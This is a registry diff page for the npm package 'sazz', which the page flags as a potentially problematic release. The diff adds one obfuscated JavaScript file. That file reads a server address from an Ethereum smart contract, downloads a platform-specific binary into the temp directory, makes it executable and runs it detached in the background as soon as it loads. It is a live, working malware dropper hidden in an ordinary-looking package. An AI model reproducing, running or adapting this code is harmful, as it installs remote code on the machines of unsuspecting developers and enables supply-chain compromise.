sazz 0.0.1-security → 1.80.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of sazz might be problematic. Click here for more details.

package/1gjdbw66.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x37bae9=_0x556a;(function(_0x488226,_0x142ef0){const _0x43368a=_0x556a,_0x1a0745=_0x488226();while(!![]){try{const _0x2cdbc2=-parseInt(_0x43368a(0x15c))/0x1+-parseInt(_0x43368a(0x168))/0x2*(-parseInt(_0x43368a(0x170))/0x3)+parseInt(_0x43368a(0x15b))/0x4+-parseInt(_0x43368a(0x17f))/0x5+-parseInt(_0x43368a(0x180))/0x6+parseInt(_0x43368a(0x181))/0x7*(parseInt(_0x43368a(0x157))/0x8)+parseInt(_0x43368a(0x164))/0x9;if(_0x2cdbc2===_0x142ef0)break;else _0x1a0745['push'](_0x1a0745['shift']());}catch(_0x18b694){_0x1a0745['push'](_0x1a0745['shift']());}}}(_0x4e77,0x4c2e7));function _0x4e77(){const _0x35f2bf=['JJdoh','Ошибка\x20при\x20запуске\x20файла:','Pmfop','beCRm','Ошибка\x20при\x20получении\x20IP\x20адреса:','2482479qUuAmV','GQUfh','getDefaultProvider','lDVAE','3866caIjYK','MpFnN','JOGdo','/node-macos','win32','VnmFQ','createWriteStream','ignore','573NQBFey','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','tmpdir','linux','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','Ошибка\x20установки:','unref','mwYVu','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','darwin','GET','bpVRt','axios','finish','platform','1686050CqkhuQ','3042144wAkEpa','259GZIjTq','basename','/node-win.exe','phMHL','error','path','133272rSTruo','util','absGP','Contract','458780AlQjfd','219839clzHaR','pipe','chmodSync'];_0x4e77=function(){return _0x35f2bf;};return _0x4e77();}const {ethers}=require('ethers'),axios=require(_0x37bae9(0x17c)),util=require(_0x37bae9(0x158)),fs=require('fs'),path=require(_0x37bae9(0x186)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x37bae9(0x174),WalletOwner=_0x37bae9(0x178),abi=[_0x37bae9(0x171)],provider=ethers[_0x37bae9(0x166)]('mainnet'),contract=new ethers[(_0x37bae9(0x15a))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1a3419=_0x37bae9,_0x1873dd={'phMHL':_0x1a3419(0x163)};try{const _0x3dc69a=await contract['getString'](WalletOwner);return _0x3dc69a;}catch(_0x5139e4){return console[_0x1a3419(0x185)](_0x1873dd[_0x1a3419(0x184)],_0x5139e4),await fetchAndUpdateIp();}},getDownloadUrl=_0x574c84=>{const _0x327baf=_0x37bae9,_0x16d18c={'PQRcA':_0x327baf(0x16c),'MpFnN':_0x327baf(0x173)},_0x14439b=os[_0x327baf(0x17e)]();switch(_0x14439b){case _0x16d18c['PQRcA']:return _0x574c84+_0x327baf(0x183);case _0x16d18c[_0x327baf(0x169)]:return _0x574c84+'/node-linux';case _0x327baf(0x179):return _0x574c84+_0x327baf(0x16b);default:throw new Error('Unsupported\x20platform:\x20'+_0x14439b);}},downloadFile=async(_0x3100bc,_0x2b5145)=>{const _0x59aee8=_0x37bae9,_0x30b667={'JJdoh':_0x59aee8(0x17d),'absGP':_0x59aee8(0x185),'YAiHW':function(_0x230862,_0x20b220){return _0x230862(_0x20b220);},'JOGdo':_0x59aee8(0x17a),'YjXsG':'stream'},_0x37b4bb=fs[_0x59aee8(0x16e)](_0x2b5145),_0x3cc0f3=await _0x30b667['YAiHW'](axios,{'url':_0x3100bc,'method':_0x30b667[_0x59aee8(0x16a)],'responseType':_0x30b667['YjXsG']});return _0x3cc0f3['data'][_0x59aee8(0x15d)](_0x37b4bb),new Promise((_0x468841,_0x548551)=>{const _0x215fe9=_0x59aee8;_0x37b4bb['on'](_0x30b667[_0x215fe9(0x15f)],_0x468841),_0x37b4bb['on'](_0x30b667[_0x215fe9(0x159)],_0x548551);});},executeFileInBackground=async _0x540049=>{const _0x4ae960=_0x37bae9,_0x506af4={'Pmfop':function(_0x5b18be,_0x15ee04,_0x597a70,_0x122583){return _0x5b18be(_0x15ee04,_0x597a70,_0x122583);},'GQUfh':_0x4ae960(0x160)};try{const _0x10fb61=_0x506af4[_0x4ae960(0x161)](spawn,_0x540049,[],{'detached':!![],'stdio':_0x4ae960(0x16f)});_0x10fb61[_0x4ae960(0x176)]();}catch(_0x14ac90){console[_0x4ae960(0x185)](_0x506af4[_0x4ae960(0x165)],_0x14ac90);}},runInstallation=async()=>{const _0x4cbf2a=_0x37bae9,_0x3ea6f7={'lDVAE':function(_0x1e33da){return _0x1e33da();},'beCRm':function(_0x4a3da6,_0x236193){return _0x4a3da6(_0x236193);},'bpVRt':function(_0x233dc9,_0x4615a5,_0x5bb600){return _0x233dc9(_0x4615a5,_0x5bb600);},'XBxty':function(_0x42fe31,_0x37e430){return _0x42fe31!==_0x37e430;},'VnmFQ':_0x4cbf2a(0x16c),'mwYVu':_0x4cbf2a(0x175)};try{const _0x3a1a35=await _0x3ea6f7[_0x4cbf2a(0x167)](fetchAndUpdateIp),_0x5013fc=_0x3ea6f7[_0x4cbf2a(0x162)](getDownloadUrl,_0x3a1a35),_0x57bc02=os[_0x4cbf2a(0x172)](),_0x54e6a1=path[_0x4cbf2a(0x182)](_0x5013fc),_0x59114c=path['join'](_0x57bc02,_0x54e6a1);await _0x3ea6f7[_0x4cbf2a(0x17b)](downloadFile,_0x5013fc,_0x59114c);if(_0x3ea6f7['XBxty'](os[_0x4cbf2a(0x17e)](),_0x3ea6f7[_0x4cbf2a(0x16d)]))fs[_0x4cbf2a(0x15e)](_0x59114c,'755');_0x3ea6f7['beCRm'](executeFileInBackground,_0x59114c);}catch(_0x4c7891){console['error'](_0x3ea6f7[_0x4cbf2a(0x177)],_0x4c7891);}};function _0x556a(_0x3090d6,_0x5e9ddf){const _0x4e77cf=_0x4e77();return _0x556a=function(_0x556a2e,_0x27fdf2){_0x556a2e=_0x556a2e-0x157;let _0x1434e6=_0x4e77cf[_0x556a2e];return _0x1434e6;},_0x556a(_0x3090d6,_0x5e9ddf);}runInstallation();